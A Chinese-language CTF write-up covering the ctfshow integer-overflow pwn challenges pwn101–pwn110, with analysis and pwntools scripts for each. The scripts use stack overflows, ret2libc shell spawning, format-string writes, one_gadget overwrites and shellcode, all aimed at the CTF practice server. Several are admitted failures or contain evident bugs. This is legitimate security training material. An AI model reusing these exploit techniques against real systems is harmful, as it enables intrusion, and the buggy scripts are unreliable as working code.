0x03 整数安全

pwn101

image-20240906105844334

64位保护全开

看看代码

image-20240906110817989

嗯,很简单,gift很明显是后门函数,这道题就是输出一下知识点而已

nc连接后输入2147483648 2147483647,获取flag

其实输入-2147483648也可以

image-20240906111402621

https://xz.aliyun.com/t/12747?time__1311=GqGxu7G%3DKCqYqGN4eeuqWuPmwqiwurwhfbD截的图,挺好的。

pwn102

突然发现Reference里面的官方wp链接放的是我下载下来的pdf的网址,没绷住,赶紧修了一下

ok,接下来看第二个

image-20240906112822110

64位全开

image-20240906113819816

nc连接输入4294967295

image-20240906113936386

image-20240906113953689

又是一个新的小技巧

pwn103

image-20240906114246180

64位保护全开

image-20240906114536231

有种突然上强度的感觉

先分析一下逻辑,先读入一个v1,v1要<=80,然后再读取一个dest(读取字符串直到\n停止),memcpy将src赋值给test,读取v1个字节。再对dest进行判断,但是此处的dest其实是指的dest数组的首地址,一般来说地址都是要比114514大的,所以if判断是不需要理会的,dest随便输一个数据就好。

所以本题的坑点在哪呢,在于memcpy函数,由于src为0,而访问空指针程序是会crash的。为了避免程序crash,此处应该令v1为0,以绕过memcpy函数。

本题解法:nc连接输入0和任意数字

pwn104

image-20240906153225321

64位程序,开启了nx,relro为partial

image-20240906161454813

题目没什么难度,有点水。

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
p = remote("pwn.challenge.ctf.show","28297")
elf = ELF('../pwn104')

backdoor = elf.sym['that']
p.recvuntil("How long are you?\n")
p.sendline('400')
p.recvuntil('Who are you?\n')
payload = cyclic(0xe+0x8) + p64(backdoor)
p.sendline(payload)
p.interactive()

一遍过,ez

LODWARD函数补充
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
`LODWORD` 不是 C 或 C++ 的标准库函数,而是一个宏或辅助函数,常用于某些编译器和汇编代码生成的环境下,特别是在 Windows 驱动开发或者某些反汇编工具(如 IDA Pro)中。它的作用是获取一个 64 位数(`unsigned long long` 或 `__int64`)的低 32 位。

定义与作用:

通常情况下,`LODWORD` 宏用于从一个 64 位整数中提取低 32 位(即前 4 个字节)。

使用场景:
1. 截断 64 位整数:`LODWORD` 用于获取一个 64 位整数(如 `long long` 或 `__int64`)的低 32 位。
2. 处理低位操作:在某些场景中,我们只需要处理 64 位值的低 32 位,比如地址计算、位操作或仅处理特定寄存器中的低位。

示例:

假设有一个 64 位整数 `x`,其二进制表示如下:
```
x = 0x1234567890ABCDEF;
```
其低 32 位是 `0x90ABCDEF`,高 32 位是 `0x12345678`。

使用 `LODWORD` 获取低 32 位:

unsigned long long x = 0x1234567890ABCDEF;
unsigned int low_part = LODWORD(x); // 结果为 0x90ABCDEF


手动实现:
在没有定义 `LODWORD` 的情况下,你可以通过位操作手动截取低 32 位:


unsigned long long x = 0x1234567890ABCDEF;
unsigned int low_part = (unsigned int)(x & 0xFFFFFFFF); // 获取低 32 位


IDA Pro 和 Windows 驱动开发:
在反汇编工具 IDA Pro 或 Windows 驱动开发中,`LODWORD` 宏经常用于处理汇编生成的低位截取操作,帮助程序员在处理 64 位数据时提取低 32 位。

总结:
- `LODWORD` 是一个宏或函数,通常用于提取 64 位整数的低 32 位。
- 它在某些编译器环境或反汇编工具中比较常见,用于低位截断操作。

pwn105

image-20240906163458504

32位程序,开启nx,relro为partial

image-20240906164413802

image-20240906164424396

根据我的判断,十有八九是通过\x00截断strlen函数,然后栈溢出覆盖掉返回地址(心机之蛙一直摸你肚子)

1
2
3
4
5
6
7
8
9
10
from pwn import *
context(arch='i386',os='linux',log_level='debug')
p = remote("pwn.challenge.ctf.show","28280")
elf = ELF('../pwn105')

backdoor = elf.sym['success']
p.recvuntil("permissions:\n")
payload = b'aaaa\x00'.ljust('a',0x11+0x4) + p32(backdoor)
p.sendline(payload)
p.interactive()

image-20240906165655725

可以看到成功绕过,但是没什么用,因为strcpy也会被截止,所以也就无法覆盖返回地址。

接下来还是看看官方解法orz

这里需要我们特别注意的点是unsigned __int8 v3;这句代码,由于v3只有8bit,也就是说最大只能到255,如果输入长度为256的字符串的话就会使得v3溢出,变为0,那么本题的解题思路也就明晰了,只要使得溢出后的v3在4-8之间就可以了

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context(arch='i386',os='linux',log_level='debug')
p = remote("pwn.challenge.ctf.show","28280")
elf = ELF('../pwn105')

offset = 260
backdoor = elf.sym['success']
p.recvuntil("permissions:\n")
payload = cyclic(0x11+0x4) + p32(backdoor)
payload = payload.ljust(offset,b'a')
p.sendline(payload)
p.interactive()

pwn106

image-20240906170933613

32位程序,开启nx,relro为partial

image-20240906171433019

主函数,无事发生,v6请赋值为1

image-20240906171539556

login函数,无事发生

image-20240906171609046

check_passwd,跟上题差不多,有机可乘。

可以令v3=4,也就是260。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
context(arch='i386',os='linux',log_level='debug')
p = remote("pwn.challenge.ctf.show","28197")
elf = ELF('../pwn106')

offset = 0x104
backdoor = elf.sym['fffflag']

p.recvuntil("Your choice:\n")
p.sendline('1')
p.recvuntil("your username:\n")
p.sendline('admin')
p.recvuntil("your passwd:\n")
payload = cyclic(0x14+0x4) + p32(backdoor)
payload = payload.ljust(offset,b'a')
p.sendline(payload)
p.interactive()

pwn107

image-20240906172852419

32位程序,开启nx,relro为partial

image-20240906173407968

看不出来,跟进getch函数看看

image-20240906174701529

看着挺正常的。

估计是溢出绕过v2>32的判断,然后再用getch读取的时候栈溢出覆盖返回地址,不过没想到怎么绕过判断,难道是atoi函数有问题吗。

看了下官方wp,有点超出我的想象,虽然这个东西吧,它确实是整数溢出,但是也没想到能这么溢出

首先,在show函数中,令v2=-1,由于在getch函数中,这个int v2会被转化为unsigned int a2,所以a2=4294967295,那么就可以执行栈溢出攻击。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
from LibcSearcher import *
context(arch='i386',os='linux',log_level='debug')
p = remote("pwn.challenge.ctf.show",28157)
elf = ELF('../pwn107')
#p = process('../pwn107')

main = elf.sym['main']
printf_got = elf.got['printf']
printf_plt = elf.plt['printf']


p.recvuntil('How many bytes do you want me to read?')
p.sendline('-1')
p.recvuntil('\n')
payload = cyclic(0x2c+0x4) + p32(printf_plt) + p32(main) + p32(printf_got)
p.sendline(payload)
p.recvuntil('\n')

printf = u32(p.recv(4))
print(hex(printf))

libc = LibcSearcher("printf",printf)
libc_base = printf - libc.dump('printf')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')

p.recvuntil('How many bytes do you want me to read?')
p.sendline('-1')
payload = cyclic(0x2c+0x4) + p32(system) + p32(main) + p32(bin_sh)
p.sendline(payload)

p.interactive()

理论上是这样的,但是又出现了莫名其妙的问题,只要发完getshell的payload程序就崩了,所以就算了。

pwn108

image-20240906211817280

64位保护全开

image-20240906214745547

主函数长这样,分析一下函数的逻辑

首先输出了puts函数的地址,这很好,意味着已经泄露了libc库。然后通过read函数读取一个字符串再转为long int类型的整数(说实话,不是很懂这个scanf_str_to_long里面套这么多层read干嘛,当然这些函数名都是我自己修改了一下的,便于理解)。然后又用一个for循环,读入了3个字节的数据,在下一步中,如果通过对v7的检查的话,就会将v7的值复制给v6,也就是说实现了任意地址的写入(虽然只有三个字节,针对pie是吧,可恶)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux',log_level='debug')
p = remote("pwn.challenge.ctf.show",28157)
elf = ELF('../pwn108')

p.recvuntil('0x')
puts = int(p.recv(12),16)
libc = LibcSearcher(puts,"puts")
libc_base = puts-libc.dump('puts')

strlen = libc_base + 0x3eb0a8
sss = str(strlen)
io.sendline(sss)
one_gadget = libc_base + 0xe54fe
for _ in range(3):
p.sendlineafter("biang!\n", chr(one_gadget & 0xff))
one_gadget = one_gadget >> 8

p.interactive()

说实话没太看懂,就算找到了原题的wp,也没太看懂,什么hook之类的,一窍不通啊。不过没关系,我个人觉得看不懂是很正常的,可以mark一下,找机会再回来复现一遍就好了。

atoi函数补充

int atoi(const char *str) 把参数 str 所指向的字符串转换为一个整数(类型为 int 型)。

pwn109

今天就到这里下班吧,明天估计就能做完整数安全了。

image-20240907101456358

32位开启pie,relro为full

image-20240907105026085

主函数大概长这样,没看出来跟整数溢出有什么关系。

解题思路:先令v4=2,泄露出buf的地址,得到buf的地址就相当于得到了ret的地址,可以计算出pie的基址,再在buf中写入payload。令v4=1,使用格式化字符串漏洞修改任意地址。

由于没有开nx,这里可以将shellcode写到栈上,然后ret返回到栈上来执行shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
context(arch='i386',os='linux',log_level='debug')
p = remote("pwn.challenge.ctf.show",28135)
elf = ELF('../pwn109')

p.recvuntil("What you want to do?\n1) Input someing!\n2) Hang out!!\n3) Quit!!!\n")
p.sendline('1')
buf_addr = int(p.recvuntil('\n'),16)
ret_addr = buf_addr + 0x408 + 0x4
payload = fmtstr_payload(16,{ret_addr:buf_addr})
p.sendline(payload)
p.recvuntil("What you want to do?\n1) Input someing!\n2) Hang out!!\n3) Quit!!!\n")
p.sendline('2')
p.recvuntil("What you want to do?\n1) Input someing!\n2) Hang out!!\n3) Quit!!!\n")
p.sendline('1')
p.sendline(asm(shellcraft.sh()))
p.recvuntil("What you want to do?\n1) Input someing!\n2) Hang out!!\n3) Quit!!!\n")
p.sendline('3')
p.interactive()

疑惑了很久为什么offset是0x41c而不是0x40c,这里动调了一下,发现罪魁祸首是lea esp, [ecx-4]这句代码,将esp的位置进行了修改,修改之后的esp正好就是buf+0x41c的位置。

image-20240907144451424

pwn110

image-20240907145034910

32位,保护基本上什么都没开,除了relro是partial

image-20240907145317318

main函数基本上啥也没有,就这个input函数有点看头。

看了十几分钟,猜测一下,大概思路应该是这样的。

前面的初始化就不看了,重点关注if判断这里,在判断的时候专门将v1进行了类型转换,也就是说可以通过输入负数来绕过判断,下一步又将v1赋值给v3,然后通过read函数写入可控长度的payload,再ret2shellcode就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context(arch='i386',os='linux',log_level='debug')
p = remote("pwn.challenge.ctf.show",28229)
elf = ELF('../pwn110')

p.recvuntil('1+1= ?\n')
p.sendline('-1')
offset = 0x41b + 0x4

buf = int(p.recv(8),16)
p.recv()
payload = asm(shellcraft.sh())
paylaod = paylaod.ljust(offset,b'a') + p32(buf)
p.sendline(paylaod)
p.interactive()

Reference4

1
2
3
4
https://xz.aliyun.com/t/12747?time__1311=GqGxu7G%3DKCqYqGN4eeuqWuPmwqiwurwhfbD(整数溢出)
https://ysynrh77rj.feishu.cn/docx/AkoTdFm6Zone3hxm9j0cAyiGnmL(官方wp)
https://www.cnblogs.com/ZIKH26/articles/16044588.html(pwn108)
https://ysynrh77rj.feishu.cn/docx/JygndITuRoX06pxMpKAcltXCnCP(官方wp109-144)